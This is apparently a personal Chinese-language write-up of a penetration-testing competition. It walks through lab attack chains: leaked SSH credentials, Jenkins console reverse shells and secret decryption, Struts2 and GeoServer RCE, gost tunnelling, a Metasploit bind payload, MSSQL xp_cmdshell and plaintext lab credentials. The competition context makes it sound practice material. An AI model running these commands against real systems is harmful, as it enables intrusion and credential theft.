磐石行动 渗透赛 个人水平较差 有些不会 见谅✋😭🤚
省流: windows居多 如果你是来找前几年的wp的话 建议好好复习windows渗透
渗透一条路服务 10.103.236.142 入口机 题目给的是一个django, 从django的泄露里面可以看到有一个SSH_PASS环境变量, 就是一个md5, 用cmd5查一下发现是
admin/P@ssw0rd_123
通过这个可以连上ssh, 一番观察以后发现没有可以提权的地方, 但是看到了known_hosts里面有127.0.0.1, 和一个id_rsa
随后使用id_rsa直接连本机, 登录root即提权成功
还有一个泄露是Jenkins的Authorization
横向192.168.66.0/24 Jenkins 浏览器插件加个头部 Basic YWRtaW46MTE3MjgzNmJkZDdjYzY4NzU1MGU3NTdhNTdkNTdlMjgwNA== 访问/manage即可
传了个telrevshell上去,jenkins里面 println "/tmp/revshell-client".execute().text 即可交互式反弹shell
本地./telrevshell 1337即可 翻到一个文件 有一个密码
这个密码使用jenkins的一个解密脚本即可解密, 当时还以为是hash, 在这里卡了一段时间
得到了密码,连ssh进idss用户8A2G0RNDocDjiaKd,然后sudo提权即可看到flag
1 2 3 4 5 6 7 import hudson.util.Secretimport com.cloudbees.plugins.credentials.SystemCredentialsProviderimport com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpldef encryptedPassword = "{AQAAABAAAAAgtexA8vpTSnExRDT5W2GGLO4f2VW1OCnN0JoU8Nfy1zx90xyaA/ddWiCrThVdRmQn}" def secret = Secret.fromString(encryptedPassword)println "解密后的密码: " + secret.getPlainText()
横向10.223.136.0/24 只有本机和另一台主机
1 2 3 4 5 6 7 10.223.136.215:22 open 10.223.136.215:111 open 10.223.136.215:80 open 10.223.136.215:2222 open 10.223.136.215:33062 open 10.223.136.215:33061 open 10.223.136.215:63790 open
80是堡垒机, 最后卡在这里了, 我用了几个堡垒机的历史CVE没打通, 后面问了北邮的师傅也不知道怎么打 最后断在这里了
清晨的第一缕阳光 入口10.103.192.12 8080开放 http://10.103.239.202:8080/api/viewSource.action sturts2 一把梭getshell 发现是windows 拿了第一个flag
然后用 net user Administrator password 修改密码,3389连接上去即可
横向192.168.99.120/24 传一个gost上去,把端口代理出来
1 gost -L tcp://:8445/192.168.99.112:445 -L tcp://:4444/192.168.99.112:4444 -L tcp://:33389/192.168.99.112:3389
然后在自己电脑连过去msfconsole
1 2 3 4 set RHOST 10.103.239.202set RPORT 8445set PAYLOAD windows/x64/meterpreter/bind_tcprun
拿到shell的第一时间先读flag 然后开改rdp密码 连上去
横向10.223.155.0/24 在第二层主机再开一个gost
1 gost -L tcp://:9445/192.168.99.112:9443 -L tcp://:44444/192.168.99.112:9444
最后一个flag 当时一直以为是 永恒之黑 , 沟槽的fscan气死我了, 半天打不通以为是运气不好
一个认识的师傅赛后跟我说, 是pass the hash攻击, 由于不是很懂域控这一块, 所以没做出来.
信息泄露 入口 扫目录发现有一个asp的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 using System; using System.IO; using System.Web; using System.Text; public partial class FileDownload : System.Web.UI.Page { protected void Page_Load(object sender, EventArgs e) { string forwardedFor = Request.Headers["X-Forwarded-For"]; if (string.IsNullOrEmpty(forwardedFor) || !forwardedFor.Contains("127.0.0.1")) { Response.Write("ç¦æ¢è®¿é—®ï¼"); return; } string encodedFileName = Request.QueryString["img"]; if (!string.IsNullOrEmpty(encodedFileName)) { try { byte[] data = Convert.FromBase64String(encodedFileName); string fileName = Encoding.UTF8.GetString(data); string baseDirectory = Server.MapPath("~/"); string filePath = Path.Combine(baseDirectory, fileName); if (File.Exists(filePath) && filePath.StartsWith(baseDirectory, StringComparison.OrdinalIgnoreCase)) { Response.ContentType = "image/jpeg"; Response.AddHeader("Content-Disposition", "attachment; filename=" + Path.GetFileName(filePath)); Response.WriteFile(filePath); Response.End(); } else { Response.Write("猜错了ï¼"); } } catch { Response.Write("错啦ï¼"); } } } }
通过伪造XFF即可读到第一个flag
但是提权该机器没有什么思路, 仅通过这里的任意文件读, 我读了一些windows常见的文件, 但是要么不存在要么没权限, 想要提权还是有点困难
横向192.168.99.51
当时最大的困难就是, 我由于没有入口机的Administrator权限, 所以没有办法关闭Windows Defender
导致我随便传一个代理工具上去就直接被杀了 随后自己想办法弄了个免杀的代理
把1433开放出来 发现可以改sa账户 遂直接改了sa的密码登上去
然后select temp_file 得到flag2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 EXEC sp_configure 'show advanced options' , 1 GO RECONFIGURE GO EXEC sp_configure 'xp_cmdshell' , 1 GO RECONFIGURE GO EXEC xp_cmdshell 'ipconfig' GO
现在就差上下打这台机器的内网了,里面有个10.223的内网,但是现在的问题是mssql的权限是nt service,没办法改administrator密码,连不上rdp
鉴定为烂题
夜色最浓时 入口 经典geoserver rce 但是低权限 这台机子的flag不清楚怎么拿
1 2 3 4 5 6 7 8 9 10 11 C:\Program Files\GeoServer>net user \\ 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest 命令运行完毕,但发生一个或多个错误。 C:\Program Files\GeoServer>whoami nt authority\network service
也是这种题目, 说实话我得承认自己还是CTF思维太重了, 没有接触过windows这些提权之类的
所以这个flag有点可惜 没拿到 哎还得沉淀
横向192.168.188.223 192.168.188.223 5432 postgres postgres
22开放 一些弱密码 意义不明
1 2 3 4 5 6 7 8 9 10 1 abc.local\testuser Pass123 192.168.10.99 2025-07-30 04:46:00 2 abc.local\admin AdminPass456 192.168.10.100 2025-07-30 04:47:00 3 abc.local\guest Guest789 192.168.10.101 2025-07-30 04:48:00 4 abc.local\xiaoming Xiaom123 192.168.10.102 2025-07-30 04:49:00 5 abc.local\john_Sql Secret456 192.168.10.103 2025-07-30 04:50:00 6 abc.local\alice AlicePass789 192.168.10.104 2025-07-30 04:51:00 7 abc.local\bob Bob123456 192.168.10.105 2025-07-30 04:52:00 8 abc.local\manager ManagePass321 192.168.10.106 2025-07-30 04:53:00 9 abc.local\sysadmin SysPass654 192.168.10.107 2025-07-30 04:54:00 10 abc.local\intruder Intruder999 192.168.10.108 2025-07-30 04:55:00
总结 首先喷一下这个狗屎赛程 前一天从早到晚是CTF, 然后第二天就是从0点开始的渗透赛了, 意思是前一天的选手还不能睡觉就要来打这个
赛程安排能当点人吗
其次个人感觉题目水平不如长城杯, ccb的题目是有多个入口的, 不会说因为你一个环节卡住了, 后面就没法打
要模拟真实的企业内网环境, 那就应该是同一个网段下有多台机器
磐石的这个渗透是一条链子, 我觉得是真的神人. 中间断了卡住了后面就没法打了, 而且同时只能开一台机器更是逆天完了
三个人的队伍至少两个是web吧 那剩下那人不就坐着吃干饭